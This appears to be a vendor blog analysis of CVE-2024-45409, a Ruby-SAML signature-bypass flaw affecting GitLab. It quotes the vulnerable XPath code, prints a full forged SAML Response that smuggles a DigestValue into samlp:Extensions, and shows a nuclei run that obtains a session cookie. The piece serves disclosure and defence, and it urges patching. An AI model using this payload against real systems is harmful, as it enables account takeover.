Introduction
------------
In this blog post, we will analyze [**CVE-2024-45409**](https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2?ref=blog.projectdiscovery.io), a critical vulnerability impacting Ruby-SAML, OmniAuth-SAML libraries, which effectively affects [GitLab](https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/?ref=blog.projectdiscovery.io). This vulnerability allows an attacker to bypass SAML authentication mechanisms and gain unauthorized access by exploiting a flaw in how SAML responses are handled. The issue arises due to weaknesses in the verification of the digital signature used to protect SAML assertions, allowing attackers to manipulate the SAML response and bypass critical security checks.
SAML Message Verification
-------------------------
SAML is a widely used protocol for exchanging authentication and authorization data between identity providers (IdPs) and service providers (SPs). A crucial part of ensuring the security of this exchange is verifying the integrity and authenticity of the data through digital signatures and digest verification.
In this section, we will first explain how SAML signature and digest verification work, and then explore a bypass found in Ruby-SAML that can be exploited to circumvent the signature validation.
### **How SAML Signatures Work?**
In a typical SAML response, an **Assertion** element holds critical security information, such as the authenticated user’s details. To ensure that this information has not been tampered with, it is digitally signed.
**1\. Assertion Element and Digest Calculation**
The **Assertion** element contains security credentials, and the integrity of this element is protected by calculating a **digest** (a hash) of the canonicalized content of the assertion. The **Signature** node is removed from the Assertion before this digest is computed. This digest is then included in the **SignedInfo** block of the signature element.
**2\. Signature Element and SignedInfo Block**
The **Signature** element includes a **SignedInfo** block, which contains:
* A **Reference URI** pointing to the Assertion.
* A **DigestValue**, representing the digest of the assertion block, which is calculated and then stored in this block.
Once the digest is included in the SignedInfo block, the entire SignedInfo is signed using the IdP’s private key, and the result is placed in the **SignatureValue** element.
Here’s a simplified XML example of the structure:
<Assertion ID="_abc123">
<Signature>
<SignedInfo>
<Reference URI="#_abc123">
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>abc123DigestValue</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>SignedWithPrivateKey</SignatureValue>
</Signature>
<!-- Assertion contents -->
</Assertion>
XML
Copy
### **How digest and signature ensure integrity?**
Any modification to the **Assertion** will alter its digest value. However, since the **SignedInfo** element contains the original digest value and is signed with the IdP’s private key, an attacker cannot alter the SignedInfo block without invalidating the signature. This mechanism ensures that unauthorized changes to the assertion are detected when the service provider (SP) verifies the response.
**Signature Verification Process**
When the service provider (SP) receives a SAML response, it performs two crucial checks:
1. **Digest Verification**: The SP calculates the digest of the **Assertion** (after removing the Signature node) and compares it with the **DigestValue** present in the **SignedInfo** block. If the digests do not match, the assertion has been tampered with.
2. **Signature Verification**: The SP uses the IdP’s public key to verify the signature on the **SignedInfo** block. If the signature is valid, it confirms that the IdP signed the message and that it hasn’t been modified.
Ruby-SAML Bypass
-------------------
In the Ruby-SAML library, several validations occur before the actual signature validation, including schema validations and checks on the number of assertions. However, a specific vulnerability arises due to how XPath is used to extract certain elements during validation.
**XPATH Refresher:**
`/` \- This selects nodes starting from the root of the document. For example, `/samlp:Response` retrieves the `<samlp:Response>` root node. Similarly, `/samlp:Response/saml:Issuer` will access `<saml:Issuer>` starting from root node `<samlp:Response>`.
`./` \- This selects nodes relative to the current node. For instance, if the current context is the `<Signature>` element, then `./SignedInfo` will return the `<SignedInfo>` node that is a direct child of `<Signature>`.
`//` \- This selects nodes from anywhere in the document, including all nested nodes. For example, `//SignedInfo` will select all instances of `<SignedInfo>`, regardless of how deeply they are nested within the document.
A patch was committed in the Ruby-SAML library (see [here](https://github.com/SAML-Toolkits/ruby-saml/commit/4865d030cae9705ee5cdb12415c654c634093ae7?ref=blog.projectdiscovery.io)) that attempts to tighten security. Previously, the way elements were accessed using `//` in the XPath selector was too permissive.
[
Merge commit from fork · SAML-Toolkits/ruby-saml@4865d03
\* Use correct XPaths and resolve to correct elements \* Update xml\_security.rb \* Block references that resolve to multiple nodes to prevent signature wrapping attacks
![](https://images.seebug.org/1728469408474-w331s)GitHubSAML-Toolkits
![](https://images.seebug.org/1728469410194-w331s)
](https://github.com/SAML-Toolkits/ruby-saml/commit/4865d030cae9705ee5cdb12415c654c634093ae7?ref=blog.projectdiscovery.io)
Here’s where the issue lies: when extracting the **DigestValue** from the reference node, the XPath expression //ds:DigestValue is used. This means the first occurrence of a **DigestValue** element with the DSIG namespace will be selected from anywhere in the document.
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
Ruby
Copy
By exploiting this, an attacker can smuggle another **DigestValue** into the document inside the samlp:extensions element, which is designed to hold any element with a valid namespace.
### **Bypassing Signature Validation**
The vulnerability allows us to bypass signature validation as follows:
* We insert a **DigestValue** of the modified assertion inside the samlp:extensions element.
* The XPath selector will extract this smuggled **DigestValue** instead of the one from the **SignedInfo** block.
* Since the **SignedInfo** block itself is not modified, it passes the signature check, but the actual assertion content could have been tampered with.
The following example illustrates how this can be exploited in code:
hash = digest_algorithm.digest(canon_hashed_element)
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
digest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))
unless digests_match?(hash, digest_value)
return append_error("Digest mismatch", soft)
end
unless cert.public_key.verify(signature_algorithm.new, signature, canon_string)
return append_error("Key validation error", soft)
end
Ruby
Copy
In this case:
* `canon_hashed_element` refers to the Assertion block without the Signature block.
* `encoded_digest_value` is our controlled **DigestValue** smuggled inside samlp:extensions.
* `canon_string` refers to the SignedInfo block.
Here's an example SAML Response to perform the SAML Bypass:
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<samlp:Extensions>
<DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
legitdigestvalue
</DigestValue>
</samlp:Extensions>
<samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
<saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
<SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
<Reference URI="#_911d8da24301c447b649">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>U31P2Bs1niIjPrSSA5hpC0GN4EZvsWMiOrHh6TqQFqM=</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>
KUM0YSAtobgqTq1d2dkd6Lugrh5vOhAawv4M8QPkxsiHaOuGxLCyqlJy74opHHc2K5S5hz8Us12kVplsHrFBJUezAbD+ME9Qx6bHc3G8RUfjnkJgEqb8m9yQAWpDNIBOff4nUbJp9wnMmLmTyOj7at+rkFpyrydHVBTNemkRNShuH/+3aYBWSmUJkOV2dVhUjHF9nTJv/6KAA39S8Z86uNulwxN+0Cc55bGH2P+qau3YYafpEJVEG17cVLL0mkpVUTRxtBn/8vJHCPbwT7/hx2RXdxdM+V6T59kPuRRW5iyGzk2bx6qKvUCqLwWTp5xA/uw0WxlDvCiQGpzJBVz5gA==</SignatureValue>
<KeyInfo>
<X509Data>
<X509Certificate>MIIC4jCC....HpLKQQ==</X509Certificate>
</X509Data>
</KeyInfo>
</Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
jackson-pwnnnnnn@example.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction>
<saml:Audience>https://saml.example.com/entityid</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Attribute Name="id"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
jackson@example.com</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
XML
Copy
We've created [nuclei template](https://cloud.projectdiscovery.io/?template=CVE-2024-45409&ref=blog.projectdiscovery.io) to ease the process of getting session cookie once you obtain the `SAMLResponse` of targeted user.
$ nuclei -t CVE-2024-45409.yaml -u https://gitlab.redacted.com -code -var SAMLResponse='REDACTED'
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.4
projectdiscovery.io
[INF] Current nuclei version: v3.3.4 (latest)
[INF] Current nuclei-templates version: v10.0.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 86
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2024-45409] [http] [critical] https://gitlab.redacted.com/users/auth/saml/callback ["c4a8f2720a97068ee44440beee8f296c"]
Bash
Copy
****CVE-2024-45409**** Nuclei Template
We've also recorded video poc showcasing SAML authentication bypass on GitLab
0:00
/0:32
1×
****CVE-2024-45409**** ****Video**** ****POC****
### Conclusion
The **CVE-2024-45409** vulnerability demonstrates how a subtle flaw in signature verification can have severe consequences, allowing attackers to bypass critical authentication mechanisms. This analysis highlights the importance of strict validation procedures, especially when dealing with security protocols like SAML. While the vulnerability has been patched, it serves as a reminder that even widely adopted libraries can harbor vulnerabilities if not carefully implemented.
Organizations/Applications relying on Ruby-SAML/OmniAuth-SAML for authentication should ensure their libraries are up to date. By understanding the nature of such vulnerabilities, developers and security teams can strengthen their defenses against potential attacks.
***
By embracing Nuclei and participating in the [open-source community](https://github.com/projectdiscovery?ref=blog.projectdiscovery.io) or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.
暂无评论